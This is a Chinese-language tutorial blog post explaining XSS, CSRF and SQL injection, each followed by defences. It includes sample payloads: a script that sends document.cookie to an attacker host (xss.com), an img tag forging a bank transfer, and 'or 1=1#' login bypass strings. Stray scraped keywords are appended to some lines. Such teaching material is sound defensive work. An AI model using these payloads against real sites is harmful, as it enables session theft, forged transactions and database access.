常見的Web安全及其攻防姿式

總結一下Web相關的安全攻防知識,讓本身對這個知識點多一點了解,下面來聊聊Web中最多見的幾種安全問題,包括攻擊類型、原理以及怎樣防護等。php

一、XSS漏洞

XSS(Cross Site Scripting)跨站腳本攻擊,爲了避免和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫爲XSS。惡意攻擊者利用網站沒有對用戶提交數據進行轉義處理或者過濾不足的缺點,往Web頁面中插入了惡意的script代碼,當用戶瀏覽該頁面時,嵌入Web頁面中的script代碼便會執行,從而達到惡意攻擊用戶的目的。前端

緣由:過於信任客戶端提交的數據。 XSS攻擊也能夠簡單分爲兩種,一種是利用url引誘客戶點擊來實現;另外一種是經過存儲到數據庫,在其它用戶獲取相關信息時來執行腳本。mysql

 1)非持久型XSS(反射型XSS)

主要經過利用系統反饋行爲漏洞,並欺騙用戶主動觸發,從而發起Web攻擊,如盜取用戶信息或其餘侵犯用戶隱私安全等,通常是經過別人發送的帶有惡意腳本代碼參數的URL,當URL地址被打開時,特有的惡意代碼參數會被HTML解析、執行。通常容易出如今搜索頁面。sql

過程圖以下:數據庫

非持久型XSS過程
e.g1:

正常發送消息:
www.test.com/message.php?send=Hello,World!
接收者將會接收信息並顯示Hello,Word
非正常發送消息:
www.test.com/message.php?send=!
接收者接收消息顯示的時候將會彈出警告窗口
後端

e.g2:瀏覽器

若是某網站上頁面中有一個文本框,輸入後做爲參數跳轉另外一個地址:安全

<input type="text" name='keywords' value="">
複製代碼

在頁面上輸入以下代碼:<script>window.location.href='www.xss.com?cookie=' + document.cookie</script>服務器

或者直接讓用戶訪問該網站地址,而keywords參數爲"&lt;script&gt;window.location.href='www.xss.com?cookie=' + document.cookie&lt;/script&gt;"cookie

若是受騙的用戶恰好已經登陸過該網站,那麼,用戶的登陸cookie信息就已經發到了攻擊者的服務器(xss.com)了。

如何防範:

1)只容許用戶輸入咱們指望的數據。
2)Web頁面渲染的全部內容或者渲染的數據都必須來自於服務端,不要信任用戶的輸入內容。
3)儘可能不要使用eval, new Function()等可執行字符串的方法。
4)前端渲染的時候對任何的字段都須要作encode轉義編碼。
5)過濾或移除特殊的Html標籤。
6)將重要的cookie標記爲http only。

 2)持久型XSS(儲存型XSS)

存儲型XSS,持久化,代碼是存儲在服務器中的,如在我的信息或發表文章等地方,加入代碼,若是沒有過濾或過濾不嚴,那麼這些代碼將儲存到服務器中,用戶訪問該頁面的時候觸發代碼執行。這種XSS比較危險,容易形成蠕蟲,盜竊cookie(雖然還有種DOM型XSS,可是也仍是包括在存儲型XSS內),不須要誘騙用戶點擊。

e.g:

留言板表單中的表單域:

<input type=「text」 name=「content」 value=「這裏是用戶填寫的數據」>
複製代碼

正常操做:
用戶是提交相應留言信息;將數據存儲到數據庫;其餘用戶訪問留言板,應用去數據並顯示。
非正常操做:
攻擊者在value填寫<script>alert('foolish!')</script>;
將數據存儲到數據庫中;
其餘用戶取出數據顯示的時候,將會執行這些攻擊性代碼。

如何防範:

1)後端在入庫前應該選擇不相信任何前端數據,將全部的字段統一進行轉義處理。
2)後端在輸出給前端數據統一進行轉義處理。
3)前端在渲染頁面 DOM 的時候應該選擇不相信任何後端數據,任何字段都須要作轉義處理。

如何防範:對於一切用戶的輸入、輸出、客戶端的輸出內容視爲不可信,只要是客戶端提交的數據就應該先進行相應的過濾處理而後方可進行下一步的操做。

二、CSRF攻擊

CSRF(Cross-site request forgery)跨站請求僞造,也被稱爲「One Click Attack」或者Session Riding,一般縮寫爲CSRF或者XSRF,是一種對網站的惡意利用。儘管聽起來像跨站腳本(XSS),但它與XSS很是不一樣,XSS利用站點內的信任用戶,而CSRF則經過假裝來自受信任用戶的請求來利用受信任的網站。與XSS攻擊相比,CSRF攻擊每每不大流行(所以對其進行防範的資源也至關稀少)和難以防範,因此被認爲比XSS更具危險性。但每每同XSS一同做案!

例如,當用戶登陸網絡銀行去查看其存款餘額,在他沒有退出時,就點擊了一個QQ好友發來的連接,那麼該用戶銀行賬戶中的資金就有可能被轉移到攻擊者指定的賬戶中。

CSRF攻擊必需要有三個條件 :

1)用戶已經登陸了站點A,並在本地記錄了cookie。
2)在用戶沒有登出站點A的狀況下(也就是cookie生效的狀況下),訪問了惡意攻擊者提供的引誘危險站點B(B站點要求訪問站點A)。
3)站點A沒有作任何CSRF防護。

過程圖以下:

CSRF攻擊過程
e.g1:

一論壇網站的發貼是經過 GET 請求訪問,點擊發貼以後 JS 把發貼內容拼接成目標 URL 並訪問: example.com/bbs/create_post.php?title=標題&content=內容

那麼,我只須要在論壇中發一帖,包含一連接: example.com/bbs/create_post.php?title=我是腦殘&content=哈哈

只要有用戶點擊了這個連接,那麼他們的賬戶就會在不知情的狀況下發布了這一帖子。可能這只是個惡做劇,可是既然發貼的請求能夠僞造,那麼刪帖、轉賬、改密碼、發郵件全均可以僞造。 e.g2:

銀行網站A,它以GET請求來完成銀行轉帳的操做,如:www.mybank.com/Transfer.php?toBankId=11&money=1000 危險網站B,它裏面有一段HTML的代碼以下

<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>
複製代碼

首先,你登陸了銀行網站A,而後訪問危險網站B,噢,這時你會發現你的銀行帳戶少了1000塊......

爲何會這樣呢?緣由是銀行網站A違反了HTTP規範,使用GET請求更新資源。在訪問危險網站B的以前,你已經登陸了銀行網站A,而B中的以GET的方式請求第三方資源(這裏的第三方就是指銀行網站了,本來這是一個合法的請求,但這裏被不法分子利用了),因此你的瀏覽器會帶上你的銀行網站A的Cookie發出Get請求,去獲取資源www.mybank.com/Transfer.php?toBankId=11&money=1000,結果銀行網站服務器收到請求後,認爲這是一個更新資源操做(轉帳操做),因此就馬上進行轉帳操做......

爲了杜絕上面的問題,銀行決定改用POST請求完成轉帳操做,若是銀行後臺使用了$_REQUEST去獲取請求的數據,而危險網站B,仍然只是包含那句如出一轍的HTML代碼,結果你的銀行帳戶依然少了1000塊。

緣由是銀行後臺使用了$_REQUEST去獲取請求的數據,而$_REQUEST既能夠獲取GET請求的數據,也能夠獲取POST請求的數據,這就形成了在後臺處理程序沒法區分這究竟是GET請求的數據仍是POST請求的數據。在PHP中,可使用$_GET和$_POST分別獲取GET請求和POST請求的數據。在JAVA中,用於獲取請求數據request同樣存在不能區分GET請求數據和POST數據的問題。

如何防範: 在業界目前防護CSRF攻擊主要有三種策略:驗證HTTP Referer字段;在請求地址中添加token並驗證;在HTTP頭中自定義屬性並驗證。同時儘可能使用POST,限制GET。下面就分別對這三種策略進行詳細介紹:

1)驗證HTTP Referer字段

利用HTTP頭中的Referer判斷請求來源是否合法。
優勢:簡單易行,只須要在最後給全部安全敏感的請求統一增長一個攔截器來檢查 Referer 的值就能夠。特別是對於當前現有的系統,不須要改變當前系統的任何已有代碼和邏輯,沒有風險,很是便捷。
缺點:
(1)Referer 的值是由瀏覽器提供的,不可全信,低版本瀏覽器下Referer存在僞造風險。
(2)用戶本身能夠設置瀏覽器使其在發送請求時再也不提供Referer時,網站將拒絕合法用戶的訪問。

2)在請求地址中添加token並驗證

在請求中放入黑客所不能僞造的信息,而且該信息不存在於cookie之中,以HTTP請求參數的形式加入一個隨機產生的token交由服務端驗證。
優勢:比檢查Referer要安全一些,而且不涉及用戶隱私。
缺點:對全部請求都添加token比較困難,難以保證token自己的安全,依然會被利用獲取到token。

3)在HTTP頭中自定義屬性並驗證+One-Time Tokens

將token放到HTTP頭中自定義的屬性裏。經過XMLHttpRequest的異步請求交由後端校驗,而且一次有效。
優勢:統一管理token輸入輸出,能夠保證token的安全性。
缺點:有侷限性,沒法在非異步的請求上實施。

三、SQL注入

經過將外部的輸入直接嵌入到須要執行的SQL語句中,從而可能獲取數據庫中的敏感信息,或者利用數據庫的特性執行一些惡意操做,甚至可能會獲取數據庫乃至系統用戶的最高權限。

緣由:程序沒有轉義過濾用戶輸入的內容,致使攻擊者能夠向服務器提交惡意的代碼,從而使得程序在執行SQL語句時,將攻擊者輸入的代碼做爲SQL語句的一部分執行,致使原邏輯被改變,執行了攻擊者的惡意代碼。

例如:

$sql = "select * from user where id=".$id;
複製代碼

上面的例子是查詢某個信息,服務端直接用用戶輸入的變量$id來拼接SQL語句,而執行該語句,存在安全隱患,若是$id='2 or 1==1',便能輕易的獲取user表的任意信息。

e.g1:

好比,咱們要訪問某一個帖子的信息,會經過調用相似於https://www.xxx.xx/news/read?pid=50這樣的接口來獲取信息,這樣的話可能就會致使SQL注入,經過上面的地址能夠推斷出服務端中執行的SQL是:

select * from [表名] where pid=50;
複製代碼

若是咱們在參數後面拼接上一些其餘的信息做爲參數一部分,即可能致使SQL數據發生改變,如添加" and 1=2"後SQL語句將變爲:

select * from [表名] where pid=50 and 1=2; // 1=2不成立
複製代碼

從而會致使返回出錯。

e.g2:

再好比,在一個登錄界面中,須要傳入用戶名和密碼進行登陸驗證,正常狀況下,傳給服務端的用戶名和密碼數據被合成到SQL查詢語句中後應該是這樣的:

select * from users where username=[用戶名] and password=md5([密碼])
複製代碼

此時,若是用戶在用戶名中輸入" or 1=1#",密碼隨便輸入,即可以登陸。由於此時的SQL語句爲:

select * from users where username=" or 1=1#" and password=md5("")
複製代碼

而"#"在mysql中是註釋符,這樣#號後面的內容將被mysql視爲註釋內容,這樣就不會去執行了,換句話說,如下的兩句sql語句等價:

select * from users where username='' or 1=1
複製代碼

由於1=1永遠都是成立的,即where子句老是爲真,將該sql進一步簡化以後,等價以下select語句:

select * from users
複製代碼

致使的最終結果是該sql語句的做用是檢索users表中的全部字段,從而可以登陸成功。 如何防範:對用戶輸入的那些變量進行優化過濾,不要信任用戶傳入的數據。

小結一下

XSS攻擊的本質就是,利用一切手段在目標用戶的瀏覽器中執行攻擊腳本,而CSRF則是攻擊者盜用了你的身份,以你的名義發送惡意請求。 所以,無論是客戶端仍是服務端,都不要信任雙方傳來的數據,最好都進行過濾轉義等處理,總之,毫不能夠信任任何客戶端提交的數據!!!

相關文章
相關標籤/搜索